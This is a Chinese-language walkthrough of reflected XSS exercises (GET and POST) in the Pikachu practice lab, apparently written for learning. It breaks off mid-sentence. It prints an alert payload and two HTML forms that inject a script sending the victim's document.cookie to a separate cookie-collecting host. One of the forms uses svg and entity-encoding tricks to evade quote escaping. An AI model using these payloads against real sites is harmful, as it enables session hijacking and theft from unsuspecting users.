Pikachu靶场XSS思路

反射型xss(get)

这个在前端对输入的字符串的长度做了限制,前端的限制都是唬人的,改掉就可以了,然后输入测试字符串

'"<>?&

在源码里定位一下,然后观察到url,

<p class='notice'>who is '"<>&?,i don't care!</p>
http://127.0.0.1:8000/vul/xss/xss_reflected_get.php?message=%27%22%3C%3E%26%3F&submit=submit

通过抓包可以知道并没有与后台发生交互,说明是反射型;通过url可以看出是get型。构造payload,

<script>alert(1)</script>

我们就可以把构造的url发给别人,达到xss攻击的效果。

反射型xss(post)

这个题目按照网上的做法我没有成功,因为浏览器会在单引号前加上转义字符,造成js脚本无法执行。

<script>alert(\'1\')<script>

比如我想弹一个字符’1’,但浏览器会在前后加上转义符,造成脚本并没有执行,最终的解决方案是使用标签,后面会细说。
首先这是一道post请求的xss攻击,get请求我们可以把攻击脚本嵌入到url里,达到攻击效果,post请求url里并没有链接,如何才能达到攻击效果。
我们可以自己搭建一个可以post请求的页面,作者已经给我们写好了这个页面,注意修改请求的ip地址。

<form method="post" action="http://192.168.1.4/pikachu/vul/xss/xsspost/xss_reflected_post.php">
    <input id="xssr_in" type="text" name="message" value=
    "<script>
document.location = 'http://192.168.1.15/pkxss/xcookie/cookie.php?cookie=' + document.cookie;
	</script>"
	 />
    <input id="postsubmit" type="submit" name="submit" value="submit" />
</form>

首先这个post页面中有一个表单,值是下面这一串

 ""

发送给下面这个链接

http://192.168.1.4/pikachu/vul/xss/xsspost/xss_reflected_post.php

也就是有xss漏洞的那个页面,当浏览器发生跳转后,从(post.html到xss_reflected_post.php),会执行script标签里的脚本,这个脚本是请求

http://192.168.1.15/pkxss/xcookie/cookie.php

上面这个页面,带有参数,参数是从带有xss漏洞的页面上取到的cookie,后台收集cookie的页面会继续重定向到首页,像是什么也没有发生一样。
思路大致就是这样,不过我在post页面上稍做了修改。

<form method="post" action="http://192.168.1.4/pikachu/vul/xss/xsspost/xss_reflected_post.php">
    <input id="xssr_in" type="text" name="message" value=
    "<svg><script>
document.location = &#38;#39;http://192.168.1.33/pkxss/xcookie/cookie.php?cookie=&#38;#39; + document.cookie;
	</script>"
	 />
    <input id="postsubmit" type="submit" name="submit" value="submit" />
</form>

首先在

你可能感兴趣的:(XSS攻击)